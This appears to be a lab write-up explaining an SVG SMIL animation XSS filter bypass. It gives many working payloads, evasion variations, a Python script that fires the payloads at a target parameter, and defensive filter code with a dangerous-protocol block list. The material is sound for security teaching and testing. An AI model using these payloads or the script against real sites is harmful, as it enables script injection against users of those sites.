SVG XSS: Dynamic href via SMIL Animation
Overview
This technique exploits the temporal gap between HTML parsing (when WAF filters check) and runtime execution (when SVG animations run) to dynamically set dangerous attributes after they’ve passed inspection.
The Payload
<svg><a><animate attributeName=href values=javascript:alert(1) /><text x=20 y=20>Click me</text></a>
Lab Context:
- Some tags whitelisted (svg, a, text, animate)
- ALL event handlers blocked
- Anchor href attribute blocked (static)
- Must be clickable with “Click” label
Core Concept: Parse Time vs Runtime
The Temporal Gap
Parse Time (WAF Inspection):
<svg><a> <!-- No href attribute -->
<animate attributeName=href values=...>
</a>
WAF sees: “Anchor has no href, safe!”
Runtime (Browser Execution):
<svg><a href="javascript:alert(1)"> <!-- Animation sets href -->
<text>Click</text>
</a>
Browser sees: “Link with JavaScript, will execute!”
Why Filters Miss This
- Static Analysis Limitation: WAFs typically parse HTML once and check attributes
- Animation Runs Later: SVG animation engine modifies DOM after parsing
- No href at Inspection: The dangerous attribute doesn’t exist during WAF check
- Dynamic Modification: SMIL animations can modify any attribute post-parse
Component Breakdown
1. Empty Anchor Element
<svg><a>
Purpose:
- Creates an anchor with NO href attribute initially
- Completely harmless at parse time
- Will become dangerous after animation runs
Why it passes:
# Typical WAF check
if element.tag == 'a' and element.has_attribute('href'):
return "BLOCKED"
# This <a> has no href -> passes check
2. Animation Element
<animate attributeName=href values=javascript:alert(1) />
Attributes Explained:
attributeName=href
- Specifies which attribute to modify
- Targets the parent
<a>element’s href - Can target ANY attribute (href, fill, x, y, etc.)
values=javascript:alert(1)
- The value to set
- Can be a single value or semicolon-separated list
- Sets href to
javascript:alert(1)
Implicit defaults:
- No
durspecified -> applies immediately - No
beginspecified -> starts immediately - No
to/from-> just sets the value
3. Clickable Text
<text x=20 y=20>Click me</text>
Purpose:
- Creates visible, clickable content
- Positioned at SVG coordinates (20, 20)
- Inherits link behavior from parent
<a> - Required label for user interaction
Execution Flow
┌─────────────────────────────────┐
│ Step 1: HTML Parse │
│ User submits payload │
│ WAF inspects HTML │
│ <a> has no href attribute │
│ Decision: ALLOW │
└─────────────────────────────────┘
↓
┌─────────────────────────────────┐
│ Step 2: Browser Renders │
│ SVG animation engine starts │
│ <animate> modifies parent <a> │
│ Sets href="javascript:alert(1)"│
│ Link is now active │
└─────────────────────────────────┘
↓
┌─────────────────────────────────┐
│ Step 3: User Interaction │
│ User sees "Click me" text │
│ User clicks on text │
│ Browser follows href │
│ Executes JavaScript │
│ alert(1) runs │
└─────────────────────────────────┘
SVG SMIL Animation Primer
What is SMIL?
SMIL = Synchronized Multimedia Integration Language
- XML-based animation specification
- Built into SVG standard
- Allows animations without JavaScript
- Can modify any SVG attribute
Animation Elements
<animate> - General purpose animation
<animate attributeName=fill values="red;blue" dur=2s />
<set> - Simple value setting (no animation)
<set attributeName=href to=javascript:alert(1) />
<animateTransform> - Transform animations
<animateTransform attributeName=transform type=rotate values="0;360" />
<animateMotion> - Path-based animation
<animateMotion path="M0,0 L100,100" />
Key Animation Attributes
attributeName - Which attribute to modify
<animate attributeName=href />
<animate attributeName=opacity />
<animate attributeName=x />
values - Value(s) to set
<animate values=javascript:alert(1) /> <!-- Single -->
<animate values="red;blue;green" /> <!-- Multiple -->
<animate values=";javascript:alert(1)" /> <!-- Empty to value -->
to/from - Start and end values
<animate from=0 to=100 />
dur - Duration (default: indefinite/immediate)
<animate dur="2s" /> <!-- 2 seconds -->
<animate dur="500ms" /> <!-- 500 milliseconds -->
<animate /> <!-- Immediate -->
begin - When to start (default: immediate)
<animate begin="2s" /> <!-- After 2 seconds -->
<animate begin="click" /> <!-- On click event -->
<animate /> <!-- Immediately -->
Why This Bypasses Filters
Filter Type 1: String Pattern Matching
Filter Logic:
if 'href=' in user_input:
return "BLOCKED"
Why Bypassed:
- No
href=in the initial HTML string - Only
attributeName=href(different pattern) - Bypassed
Filter Type 2: Attribute Inspection
Filter Logic:
for element in parse_html(html):
if element.tag == 'a':
if element.has_attribute('href'):
return "BLOCKED"
Why Bypassed:
<a>element has no href at parse time- Filter checks attributes during parsing
- href is added later by animation
- Bypassed
Filter Type 3: Dangerous Protocol Detection
Filter Logic:
for link in find_all_links(html):
if link.href.startswith('javascript:'):
return "BLOCKED"
Why Bypassed:
- No links with href exist during inspection
javascript:is invaluesattribute, not href- href doesn’t exist yet
- Bypassed
Filter Type 4: Namespace Blocking
Filter Logic:
if 'href' in attrs or 'xlink:href' in attrs:
return "BLOCKED"
Why Bypassed:
- Neither href nor xlink:href present initially
- Both are set dynamically at runtime
- Bypassed
Variations & Extensions
Using <set> Instead of <animate>
<svg><a><set attributeName=href to=javascript:alert(1) /><text>Click</text></a>
Differences:
<set>is simpler - just sets a value- Uses
toinstead ofvalues - No animation, just instant set
- May be less filtered than
<animate>
Setting xlink:href Dynamically
<svg><a><animate attributeName=xlink:href values=javascript:alert(1) /><text>Click</text></a>
Why This Matters:
- Combines namespace bypass with dynamic setting
- Double evasion technique
- Works if either xlink: OR animate is missed
Delayed Execution
<svg><a><animate attributeName=href values=javascript:alert(1) begin=2s /><text>Wait 2s then click</text></a>
Use Cases:
- Bypass timing-based detection
- Wait for other page elements to load
- Evade behavior analysis
Multiple Animations
<svg><a>
<animate attributeName=href values=javascript:alert(1) />
<animate attributeName=fill values=red />
<animate attributeName=font-size values=20 />
<text>Click</text>
</a>
Benefits:
- Makes link visually appealing
- Hides malicious animation among benign ones
- Increases click likelihood
Animation Chaining
<svg><a id=x>
<animate attributeName=opacity values="0;1" dur=1s />
<animate attributeName=href values=javascript:alert(1) begin=1s />
<text>Click</text>
</a>
Purpose:
- First animation fades in the element
- Second animation sets href after fade completes
- Further timing-based evasion
Protocol Alternatives
Data URI:
<svg><a><animate attributeName=href values="data:text/html,<script>alert(1)</script>" /><text>Click</text></a>
About URI (older browsers):
<svg><a><animate attributeName=href values="about:blank#blocked" /><text>Click</text></a>
Encoding in Values
HTML Entities:
<svg><a><animate attributeName=href values="javascript:alert(1)" /><text>Click</text></a>
URL Encoding:
<svg><a><animate attributeName=href values="javascript:alert%281%29" /><text>Click</text></a>
Real-World Scenarios
Scenario 1: href Blocked, animate Allowed
Context: WAF blocks href attribute but misses animation elements
Attack:
<svg><a><animate attributeName=href values=javascript:alert(1) /><text>Click</text></a>
Result: Bypassed
Scenario 2: Both href and xlink:href Blocked
Context: WAF blocks all href variants statically
Attack:
<svg><a><animate attributeName=href values=javascript:alert(1) /><text>Click</text></a>
Result: Bypassed (href set at runtime)
Scenario 3: javascript: Protocol Filtered
Context: WAF blocks javascript: in href attributes
Attack:
<svg><a><animate attributeName=href values="data:text/html,<script>alert(1)</script>" /><text>Click</text></a>
Result: Bypassed (different protocol)
Scenario 4: animate Tag Blocked
Context: WAF blocks <animate> specifically
Alternatives:
- Try
<set>:<svg><a><set attributeName=href to=javascript:alert(1) /><text>Click</text></a> - Try
<animateTransform>: May be missed - Try
<animateMotion>: Different element name - Fall back to static bypass:
xlink:href
Testing Methodology
Phase 1: Identify Restrictions
Test static href:
<svg><a href="javascript:alert(1)">Click</a>
Result: Blocked
Test xlink:href:
<svg><a xlink:href="javascript:alert(1)">Click</a>
Result: Blocked (in this scenario)
Phase 2: Test Dynamic Setting
Test basic animate:
<svg><a><animate attributeName=href values=javascript:alert(1) /><text>Click</text></a>
Result: Bypassed!
Phase 3: Optimize Payload
Add positioning:
<svg><a><animate attributeName=href values=javascript:alert(1) /><text x=20 y=20>Click me</text></a>
Test delivery:
?search=<svg><a><animate attributeName=href values=javascript:alert(1) /><text x=20 y=20>Click me</text></a>
Phase 4: Alternative Elements
If <animate> blocked, try:
<svg><a><set attributeName=href to=javascript:alert(1) /><text>Click</text></a>
<svg><a><animateTransform attributeName=href values=javascript:alert(1) /><text>Click</text></a>
<svg><a><animateMotion attributeName=href values=javascript:alert(1) /><text>Click</text></a>
Automation Script
import requests
from urllib.parse import urlencode
def test_dynamic_svg(url, param='search'):
"""
Test SVG dynamic attribute setting bypasses
"""
payloads = [
# Basic animate
'<svg><a><animate attributeName=href values=javascript:alert(1) /><text x=20 y=20>Click</text></a>',
# Using set
'<svg><a><set attributeName=href to=javascript:alert(1) /><text x=20 y=20>Click</text></a>',
# xlink:href variant
'<svg><a><animate attributeName=xlink:href values=javascript:alert(1) /><text x=20 y=20>Click</text></a>',
# Alternative animation elements
'<svg><a><animateTransform attributeName=href values=javascript:alert(1) /><text>Click</text></a>',
# Data URI protocol
'<svg><a><animate attributeName=href values="data:text/html,<script>alert(1)</script>" /><text>Click</text></a>',
]
print(f"[*] Testing {url}\n")
for i, payload in enumerate(payloads, 1):
print(f"[*] Payload {i}: {payload[:60]}...")
try:
r = requests.get(url, params={param: payload}, timeout=10)
# Check if blocked
if any(x in r.text.lower() for x in ['blocked', 'invalid', 'error', 'forbidden']):
print(f" Blocked\n")
continue
# Check if payload reflected
if 'animate' in r.text and 'attributeName' in r.text:
print(f" Payload reflected!")
print(f" URL: {r.url}")
print(f" Test in browser to confirm execution\n")
else:
print(f" Unclear - check manually\n")
except Exception as e:
print(f" Error: {str(e)}\n")
# Usage
test_dynamic_svg('https://target.com/search')
Defense Strategies
Filter Animation Elements
Block animations that set link attributes:
animation_elements = ['animate', 'set', 'animateTransform', 'animateMotion']
link_attributes = ['href', 'xlink:href', 'xml:href']
for element in parse_svg(user_input):
if element.tag in animation_elements:
attr_name = element.get('attributeName', '')
if attr_name in link_attributes:
return "BLOCKED: Animation targeting link attribute"
Block Dangerous Protocols in Values
for element in parse_svg(user_input):
if element.tag in ['animate', 'set']:
values = element.get('values', '') + element.get('to', '')
if any(p in values.lower() for p in ['javascript:', 'data:', 'vbscript:']):
return "BLOCKED: Dangerous protocol in animation"
Comprehensive SVG Filtering
def validate_svg(svg_content):
# Parse SVG
tree = parse_xml(svg_content)
# Check all elements
for element in tree.iter():
# Block animation elements setting links
if element.tag.endswith(('animate', 'set')):
attr_name = element.get('attributeName', '')
if 'href' in attr_name.lower():
return False
# Block all href variants
for attr in element.attrib:
if 'href' in attr.lower():
return False
return True
Content Security Policy (Best Defense)
Content-Security-Policy: default-src 'self'; script-src 'self'
Why CSP Works:
- Blocks ALL
javascript:URIs at browser level - Doesn’t matter if set statically or dynamically
- Doesn’t matter which namespace used
- Can’t be bypassed by client-side tricks
- Defense-in-depth approach
Key Takeaways
- Temporal Evasion: Exploits the gap between parse-time inspection and runtime execution
- SMIL Power: SVG animation can modify any attribute dynamically
- Static Filters Fail: Filters checking initial state miss dynamic changes
- Multiple Approaches: Can target href, xlink:href, or other attributes
- Defense Requires Both: Must check initial state AND prevent dynamic modifications
- CSP is Essential: Browser-level protection prevents client-side bypasses
Comparison with Static Bypass
| Aspect | Static (xlink:href) | Dynamic (animate) |
|---|---|---|
| Bypass Method | Namespace confusion | Temporal evasion |
| When href Set | Parse time | Runtime |
| Filter Target | Attribute name | Attribute value |
| Complexity | Simple | Moderate |
| When to Use | Quick test | Robust bypass |
| Blocked By | Namespace-aware filters | Animation-aware filters |
| Best Against | Simple string matching | Static attribute inspection |
Related Techniques
- SVG xlink:href Namespace Bypass - static attribute bypass
- Systematic XSS Testing with Burp Intruder
- SVG Elements Reference
- SVG Events Reference
- XSS Testing Punch List
References
- PortSwigger XSS Cheat Sheet
- SVG Animation Specification
- SMIL Animation